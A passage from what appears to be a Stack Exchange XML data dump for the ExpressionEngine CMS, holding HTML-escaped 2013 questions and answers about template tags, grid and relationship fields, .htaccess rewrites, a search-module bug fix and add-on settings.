playlist: [{file: &quot;http://webaddress.com/assets/video/title.mp4&quot;}],&#xA;      primary:&quot;flash&quot;,&#xA;      autostart:true,&#xA;      rtmp:{bufferlength:5},&#xA;      width: &quot;100%&quot;,&#xA;      aspectratio: &quot;16:9&quot;})&#xA;  }&#xA;})&#xA;});  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, what I need to do is automatically output the following line of the script dynamically with each link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{file: &quot;http://webaddress.com/assets/video/title.mp4&quot;}],         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apologies, this probably sounds very complicated!&lt;/p&gt;&#xA;" OwnerUserId="95" LastEditorUserId="69" LastEditDate="2013-10-21T12:20:25.990" LastActivityDate="2013-10-21T17:42:34.103" Title="embedding grid outputs into javascript" Tags="|javascript|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14751" PostTypeId="2" ParentId="14631" CreationDate="2013-10-20T16:14:03.293" Score="2" Body="&lt;p&gt;Safecracker (and Safecracker File fieldtype) is deprecated for EE 2.7+. Read about it here: &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use the native File fieldtype (instead of Safecracker File fieldtype) with the new native Channel Form module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to make sure your Guest member group has permission to post/edit in the channel you are trying to upload files to. Members &gt; Member Groups &gt; Edit Group (select your group) &gt; Channel Assignment&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T16:14:03.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14752" PostTypeId="1" AcceptedAnswerId="14840" CreationDate="2013-10-20T17:56:04.807" Score="2" ViewCount="745" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {staff_member_groups}&#xA;    &amp;lt;h2&amp;gt;{staff_member_groups:staff_group_heading}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul class=&quot;staff_member_groups&quot;&amp;gt;&#xA;      {staff_member_groups:staff_group_members}&#xA;        &amp;lt;li class=&quot;{switch='odd|even'}&quot;&amp;gt;&#xA;          &amp;lt;img src=&quot;{staff_member_groups:staff_group_members:staff_portrait}&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;{staff_member_groups:staff_group_members:title}&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p class=&quot;meta&quot;&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_position}&#xA;          &amp;lt;/p&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_titles}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/staff_member_groups:staff_group_members}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/staff_member_groups}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which renders correctly except for the fact that &lt;code&gt;{switch='odd|even'}&lt;/code&gt; returns &lt;code&gt;odd&lt;/code&gt; on every list item. Is there a way to get this functionality while looping through a relationship tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I should clarify: &lt;code&gt;{staff_member_groups}&lt;/code&gt; is a grid field, with &lt;code&gt;{staff_member_groups:staff_group_members}&lt;/code&gt; being the relationship field within the grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit #2:&lt;/strong&gt; I’ve found the solution (still new around here, SE won’t let me answer my own questions really quickly yet). &lt;code&gt;{switch='odd|even'}&lt;/code&gt; needs to be namespaced so that it switches within the context of the relationship field, like so: &lt;code&gt;{staff_member_groups:staff_group_members:switch='odd|even'}&lt;/code&gt;. Otherwise, &lt;code&gt;{switch='odd|even'}&lt;/code&gt; is going by the larger context of the entries tag that surrounds this template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity, my final block of code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {staff_member_groups}&#xA;    &amp;lt;h2&amp;gt;{staff_member_groups:staff_group_heading}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul class=&quot;staff_member_groups&quot;&amp;gt;&#xA;      {staff_member_groups:staff_group_members}&#xA;        &amp;lt;li class=&quot;{staff_member_groups:staff_group_members:switch='odd|even'}&quot;&amp;gt;&#xA;          &amp;lt;img src=&quot;{staff_member_groups:staff_group_members:staff_portrait}&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;{staff_member_groups:staff_group_members:title}&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p class=&quot;meta&quot;&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_position}&#xA;          &amp;lt;/p&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_titles}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/staff_member_groups:staff_group_members}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/staff_member_groups}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2205" LastEditorUserId="2205" LastEditDate="2013-10-20T22:55:53.450" LastActivityDate="2013-11-11T16:02:08.840" Title="Getting {switch='A|B'} to work within relationship tag" Tags="|templates|relationships|switch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14753" PostTypeId="2" ParentId="14637" CreationDate="2013-10-20T19:14:11.867" Score="1" Body="&lt;p&gt;You also need these...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Control Panel Access Preferences&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can access ADD-ONS section: Yes&lt;/li&gt;&#xA;&lt;li&gt;Can access ADD-ONS: Modules: Yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T19:14:11.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14754" PostTypeId="2" ParentId="14457" CreationDate="2013-10-20T19:29:13.480" Score="1" Body="&lt;p&gt;What if you just drop the &lt;code&gt;type&lt;/code&gt; parameter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://mysite.com/?ACT=jquery&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;http://mysite.com/?ACT=comment_editor&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T19:29:13.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14755" PostTypeId="2" ParentId="14320" CreationDate="2013-10-20T19:46:07.717" Score="3" Body="&lt;p&gt;It looks like your 404'd page works with index.php: &lt;a href=&quot;http://warpedcoders.com/charlie/index.php/news/page_content&quot; rel=&quot;nofollow&quot;&gt;http://warpedcoders.com/charlie/index.php/news/page_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try this for your .htaccess rewrite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  Options +FollowSymlinks&#xA;  RewriteEngine On&#xA;&#xA;  ## Removes index.php&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  # RewriteRule ^(.*)$ /index.php?$1 [L]&#xA;  # IF YOU HAVE WEBSITE IN A SUB FOLDER: comment out above line, uncomment below line, &amp;amp; replace 'SUBFOLDERNAME'&#xA;  RewriteRule ^(.*)$ /charlie/index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make sure your &lt;strong&gt;/expressionengine/config/config.php&lt;/strong&gt; file has this for your Index File setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['index_page'] = &quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T19:46:07.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14756" PostTypeId="2" ParentId="14342" CreationDate="2013-10-20T20:02:15.853" Score="3" Body="&lt;p&gt;I have nearly the same setup (Store 2.0.3, EE 2.7.2, Zoo Visitor 1.3.29) — and I'm still unable to get Store's billing info fields to become pre-filled with an already-registered, currently-logged-in member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the time being, I'm grabbing that data from ZV, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;billing_last_name&quot; value=&quot;{if logged_in}{visitor:global:member_lastname}{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;…instead of using the {field:billing_last_name} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine for now, but the problem is that this won't work for select dropdowns, like State or Country. So the first option is selected by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just recently upgraded to Store 2.0.3 from 1.6.4 and it was working fine before, so I'm assuming it's a 2.0.3 issue.&lt;/p&gt;&#xA;" OwnerUserId="1984" LastActivityDate="2013-10-20T20:02:15.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14757" PostTypeId="2" ParentId="14279" CreationDate="2013-10-20T20:43:39.733" Score="1" Body="&lt;p&gt;If it's just one section, I think it's too much work (and money) for really no gain. Just add a global conditional for all pages that will redirect visitors who are logged out or in this specific member group to your /preciousthings directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out OR logged_in_member_group_id == 7}{redirect=&quot;preciousthings&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T20:43:39.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14758" PostTypeId="2" ParentId="14258" CreationDate="2013-10-20T20:51:18.413" Score="1" Body="&lt;p&gt;Pre-2.7, with Safecracker, you were able to go to the Safecracker settings via Add-ons &gt; Modules &gt; Safecracker&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQiyI.png&quot; alt=&quot;SafeCracker Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't appear you can do this with the new Form element of the Channel module. I'd hit up EE support directly for this.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T20:51:18.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14759" PostTypeId="2" ParentId="14047" CreationDate="2013-10-20T22:04:50.687" Score="1" Body="&lt;p&gt;I am fairly new to EE, but did implement the same channel_form_submit_entry_end($channel_form_obj) hook.&#xA;But I do not believe this hook passes any data to the function, just the channel form object.&#xA;The other 2 channel form hooks do, however, appear to pass data via the $tagdata as noted in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;.&#xA;channel_form_entry_form_tagdata_start($tagdata, $channel_form_obj), channel_form_entry_form_tagdata_end($return_tagdata, $channel_form_obj).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Allow me add my own correction.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a way to access the form entries using $_POST in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2201/adding-channel-field-data-inside-safecracker-submit-entry-start-callback-functio&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function channel_form_submit_entry_start($form_obj)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$data=$_POST['title'];&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// do something with $data now&#xA;echo $data&#xA;//change the data&#xA;public function safecracker_submit_entry_start()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&#xA;    $_POST['news_body'] = 'Test';&#xA;}&lt;/p&gt;&#xA;" OwnerUserId="2023" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-21T02:19:28.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14760" PostTypeId="2" ParentId="14114" CreationDate="2013-10-20T22:06:23.130" Score="1" Body="&lt;p&gt;Cam, you've not provided a lot of detail, but, hopefully, this will help get you in the right direction. If you provide more info, we can guide you better.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;  {exp:channel:entries channel=&quot;products&quot; category=&quot;not 2&quot;}&#xA;{/if}&#xA;{if logged_in}&#xA;  {exp:channel:entries channel=&quot;products&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T22:06:23.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14761" PostTypeId="2" ParentId="14087" CreationDate="2013-10-20T22:13:58.420" Score="1" Body="&lt;p&gt;When you say, &quot;when I change the upload directory on one site it changes the main site's upload directory,&quot; are you referring to the upload directory setting in the Wygwam editor configurations (see image)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2XlE.png&quot; alt=&quot;Wygwam Configurations Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you should then just &lt;strong&gt;create a unique editor configuration for each site&lt;/strong&gt; so that you can assign a different upload directory for each.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-20T22:13:58.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14762" PostTypeId="2" ParentId="14520" CreationDate="2013-10-20T23:05:53.460" Score="4" Body="&lt;p&gt;ExpressionEngine natively processes forms in secure mode which means each for submission is tied to an automatically generated XID / Hash which is passed as a hidden field in all CP and most front-end forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XID is a hash containing a reference to a database entry which gives EE a bunch of info about the user (their user agent, timestamp created, ip address and some other identifying 'stuff'). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XID is validated on submission (to ensure the same user visiting the form is the same user submitting the form) so if the XID fails to validate, or expires - EE will block the submission and in the case of a user being in the CP, it simply redirects them to the home page which isn't very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent your issue, you can disable secure form processing globally via:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin -&gt; Security and Session Preferences -&gt; Process form data in Secure Mode? -&gt; No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm always quite wary of disabling this though, if you do - proceed with caution. You're opening a few holes and it's up to you to determine if the risk is worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should also mention that a common cause of what you are describing is a user submitting a form and using their browser's back button to submit again. Because the XID has been used, it is no longer 'valid' and EE will reject it.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-10-20T23:05:53.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14763" PostTypeId="2" ParentId="13742" CreationDate="2013-10-21T01:30:56.170" Score="3" Body="&lt;p&gt;You can definitely do this. General setup would be something like this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;strong&gt;Require Member Account Activation?&lt;/strong&gt; to &lt;em&gt;No activation required&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a custom member field to indicate whether member has completed the email activation process. &lt;strong&gt;Email confirmed? : y&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;For the pages (or specific elements) of the content you don't want them to access, run a check for the value of the custom member field (cmf). &lt;code&gt;{if cmf_email_confirmed == &quot;&quot;}{redirect=&quot;/&quot;}{/if}&lt;/code&gt; or &lt;code&gt;{if cmf_email_confirmed}show this content{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can use MX Notify to send emails to new members when they are activated by EE. In that email send a link to a page where they have to login (because you want them to know their username and password, right?). Then, once logged they need to view &lt;em&gt;another&lt;/em&gt; page where they submit something simple, say their real name, city, or just &quot;Are you ready to enter the Twilight Zone?&quot; just so that you can have them submit a form that has a hidden field for cmf_email_confirmed to set a value of 'y'.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That should get you started.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T01:30:56.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14764" PostTypeId="1" CreationDate="2013-10-21T02:09:20.910" Score="2" ViewCount="911" Body="&lt;p&gt;It seems I have a similar problem to the one described in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10832/simple-search-returns-system-message-template-not&quot;&gt;this thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You enter a search query and get redirected to the correct URL but the page displays the system message template saying &lt;em&gt;Your search did not return any results&lt;/em&gt; instead of redirecting to the no-results template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the &lt;code&gt;exp:search:search_results&lt;/code&gt; tag causes the page to render correctly, but obviously without any search results in it. &lt;code&gt;{exp:search:total_results}{total_results}{/exp:search:total_results}&lt;/code&gt; also shows up as 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why doesn't EE redirect to the no-results template if there are no results? Although it doesn't seem to matter what I enter, I get the error message each time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template code&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Form&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;    channel=&quot;blog&quot;&#xA;    no_result_page=&quot;{segment_1}/search/no-results&quot;&#xA;    result_page=&quot;{segment_1}/search/results&quot;&#xA;    search_in=&quot;everywhere&quot;&#xA;    where=&quot;all&quot;&#xA;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Go&quot;&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Results&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;There were &amp;lt;strong&amp;gt;{exp:search:total_results}{total_results}{/exp:search:total_results}&amp;lt;/strong&amp;gt; results for a search for &amp;lt;em&amp;gt;{exp:search:keywords}&amp;lt;/em&amp;gt;.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;search-results&quot;&amp;gt;&#xA;{exp:search:search_results}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{auto_path}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:search:search_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-10-22T06:09:08.617" Title="Simple search form results template displays system message template" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-21T17:37:20.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="14765" PostTypeId="2" ParentId="13694" CreationDate="2013-10-21T02:28:34.607" Score="2" Body="&lt;p&gt;Looks like you're just missing conditionals based on the image &lt;code&gt;{count}&lt;/code&gt;. This should get you in the right direction. I didn't add in your CE Image tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {gallery}&#xA;   {if element_name==&quot;galleryname&quot;}&#xA;     {images}&#xA;       {if count == 1}&#xA;         &amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;{image}&quot; title=&quot;pic{count}&quot;&amp;gt;&#xA;           &amp;lt;img src=&quot;{image}&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;500&quot; alt=&quot;&quot; /&amp;gt; &#xA;         &amp;lt;/a&amp;gt;&#xA;       {/if}&#xA;       {if count != 1}&#xA;         &amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;{image}&quot; title=&quot;pic{count}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;       {/if}&#xA;     {/images}&#xA; {/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T02:28:34.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14766" PostTypeId="2" ParentId="13728" CreationDate="2013-10-21T03:57:01.227" Score="0" Body="&lt;p&gt;This isn't the most efficient code, but you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;categories[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:channel:categories channel='calendar_events' style='linear' backspace='1'}{category_id}|{/exp:channel:categories}&quot;&amp;gt;Select All&amp;lt;/option&amp;gt;&#xA;  {exp:channel:categories channel=&quot;calendar_events&quot; style=&quot;linear&quot;}&#xA;  &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T03:57:01.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14767" PostTypeId="2" ParentId="14764" CreationDate="2013-10-21T04:26:07.447" Score="1" Body="&lt;p&gt;It's a bug in EE's native Search module. Bug reported here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19828&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19828&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting in line 1290 of system/expressionengine/modules/search/mod.search.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REPLACE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0 OR $query-&amp;gt;row('total_results')  == 0)&#xA;{&#xA;  return ee()-&amp;gt;output-&amp;gt;show_user_error('off', array(lang('search_no_result')), lang('search_result_heading'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WITH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0 OR $query-&amp;gt;row('total_results')  == 0)&#xA;{           &#xA;  if ($query-&amp;gt;row('no_result_page') == &quot;&quot;)&#xA;  {&#xA;    return ee()-&amp;gt;output-&amp;gt;show_user_error('off', array(lang('search_no_result')), lang('search_result_heading'));&#xA;  }&#xA;  else&#xA;  {&#xA;    $path = reduce_double_slashes(ee()-&amp;gt;functions-&amp;gt;create_url(trim_slashes($this-&amp;gt;_meta['no_result_page'])).'/'.$hash.'/');&#xA;    ee()-&amp;gt;security-&amp;gt;restore_xid();&#xA;    return ee()-&amp;gt;functions-&amp;gt;redirect($path);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-22T06:09:08.617" LastActivityDate="2013-10-22T06:09:08.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14768" PostTypeId="2" ParentId="10832" CreationDate="2013-10-21T04:27:15.140" Score="4" Body="&lt;p&gt;It's a bug in EE's native Search module. Bug reported here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19828&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19828&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting in line 1290 of system/expressionengine/modules/search/mod.search.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REPLACE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0 OR $query-&amp;gt;row('total_results')  == 0)&#xA;{&#xA;  return ee()-&amp;gt;output-&amp;gt;show_user_error('off', array(lang('search_no_result')), lang('search_result_heading'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WITH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0 OR $query-&amp;gt;row('total_results')  == 0)&#xA;{           &#xA;  if ($query-&amp;gt;row('no_result_page') == &quot;&quot;)&#xA;  {&#xA;    return ee()-&amp;gt;output-&amp;gt;show_user_error('off', array(lang('search_no_result')), lang('search_result_heading'));&#xA;  }&#xA;  else&#xA;  {&#xA;    $path = reduce_double_slashes(ee()-&amp;gt;functions-&amp;gt;create_url(trim_slashes($this-&amp;gt;_meta['no_result_page'])).'/'.$hash.'/');&#xA;    ee()-&amp;gt;security-&amp;gt;restore_xid();&#xA;    return ee()-&amp;gt;functions-&amp;gt;redirect($path);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-22T06:10:38.560" LastActivityDate="2013-10-22T06:10:38.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14769" PostTypeId="2" ParentId="13728" CreationDate="2013-10-21T04:46:13.717" Score="1" Body="&lt;p&gt;I haven't had experience with the Geofinder add-on before, however the following should work for anything that uses the Channel Entries API behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;categories[]&quot; id=&quot;categories&quot;&gt;&#xA;    &amp;lt;option value=&quot;not -1&quot;&gt;Select All&amp;lt;/option&gt;&#xA;    {exp:channel:categories channel=&quot;calendar_events&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&gt;{category_name}&amp;lt;/option&gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/select&gt;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-21T04:46:13.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14771" PostTypeId="2" ParentId="13875" CreationDate="2013-10-21T05:00:45.690" Score="1" Body="&lt;p&gt;My approach would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the checkout page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_value&#xA;    name=&quot;checking_out&quot; {!-- User is checking out --}&#xA;    value=&quot;1&quot;           {!-- Store any value --}&#xA;    scope=&quot;user&quot;        {!-- Limit this to the user's session --}&#xA;    save=&quot;yes&quot;          {!-- Store in the database --}&#xA;    refresh=&quot;10&quot;        {!-- Only valid for 10 minutes --}&#xA;}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check against this being stored on the thank you page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;checking_out&quot; scope=&quot;user&quot;}}&#xA;    {redirect='/'}&#xA;{/if}&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-21T05:00:45.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14772" PostTypeId="2" ParentId="12449" CreationDate="2013-10-21T05:01:40.507" Score="1" Body="&lt;p&gt;In the same setting location as &quot;ignoreEmptyParagraph&quot;, set &quot;autoParagraph&quot; to NO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvSPn.png&quot; alt=&quot;WYGWAM Advanced Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T05:01:40.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
